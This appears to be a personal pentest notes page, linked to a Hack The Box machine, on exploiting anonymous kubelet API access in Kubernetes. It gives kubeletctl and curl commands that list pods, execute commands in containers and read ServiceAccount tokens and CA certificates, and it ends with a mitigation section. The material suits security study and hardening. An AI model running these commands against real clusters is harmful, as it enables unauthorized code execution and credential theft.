đź§  Kubernetes - Kubelet API Anonymous Access

  • Concept: Every Kubernetes Node runs a kubelet — the agent that actually manages the containers scheduled on that Node — and by default it exposes its own HTTPS API on 10250, independent of the cluster’s main API server. That API isn’t just informational: /exec, /run, and /cri let a caller execute arbitrary commands inside any Pod scheduled on that Node. If --anonymous-auth is left enabled (or webhook authorization isn’t wired up to actually check anything), that entire surface is reachable by anyone who can route to port 10250 — no cluster credential required at all.
  • Impact: Anonymous kubelet access is effectively pre-authenticated RCE against every container on the Node, plus a free source of cluster credentials — any Pod’s mounted ServiceAccount token can simply be cat’d out via /exec, turning “no credentials” into “a live, RBAC-scoped identity against the real API server” in one command.

How it works

  1. The kubelet’s HTTPS API (10250) is a separate service from the cluster API server (8443/6443) — it has its own authentication configuration, and a hardened API server says nothing about whether the kubelet itself is locked down.
  2. GET /pods on the kubelet API dumps every Pod scheduled on that specific Node, across all namespaces — no interaction with kubectl or the API server needed to get a full inventory.
  3. /exec/<namespace>/<pod>/<container>?command=<cmd> (and /run/...) execute a command inside a running container by hijacking the kubelet’s own control over that Pod. The kubelet doesn’t ask the API server whether the caller is allowed to touch that Pod — its own auth policy is the only gate.
  4. Because this reaches into a container the kubelet is already managing, whatever that container’s ServiceAccount token grants (see Kubernetes) is fully accessible: cat /var/run/secrets/kubernetes.io/serviceaccount/token and ca.crt from any exec session hands over a real, usable identity against the actual API server.

Exploitation

Prerequisites

  • Network reachability to a Node’s kubelet port (10250 by default) with anonymous authentication enabled

Attack Vectors

# 1. Confirm anonymous access — a real Pod list back means no auth is enforced
curl -sk https://<node-ip>:10250/pods
# 2. Raw curl can't drive /exec (it upgrades to a websocket), so use kubeletctl instead —
# see [[kubeletctl]] for install/usage
kubeletctl --server <node-ip> pods
# 3. Find which of those Pods actually accept command execution
kubeletctl --server <node-ip> scan rce
# 4. Run commands directly inside a vulnerable Pod/container
kubeletctl --server <node-ip> exec "id" -p <pod> -c <container>
# 5. Harvest that Pod's ServiceAccount identity — the actual prize
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p <pod> -c <container>

From there, authenticate to the real API server with the harvested token/CA (kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 auth can-i --list) to find out what that identity is actually authorized to do — see Kubernetes - Malicious Pod Creation (hostPath Escape) if it can create Pods.

Notes

  • A command run this way lands inside whatever container the kubelet exec’d into — id returning uid=0(root) is root of the container, not the Node. There’s usually no flag or interesting file sitting in an unrelated app Pod like nginx; its only value here is the ServiceAccount token it happens to be carrying.
  • kubeletctl scan rce exists because not every Pod on a Node accepts /exec//run — some containers (a bare etcd Pod, for instance) don’t have a usable shell or reject the call outright, so this step narrows down which Pod is actually worth pivoting through.
  • Read-only kubelet access historically also existed on port 10255 (plain HTTP, no auth by design) — functionally the same reconnaissance value as /pods above, just without needing -k/TLS handling.

Mitigation

  • Fix: Set --anonymous-auth=false and --authorization-mode=Webhook on every kubelet so unauthenticated requests are rejected outright, and firewall 10250 (and legacy 10255) to only the API server / trusted monitoring ranges rather than the general network.
FileCreated
HTB Machine - SteamCloudJuly 27, 2026

References: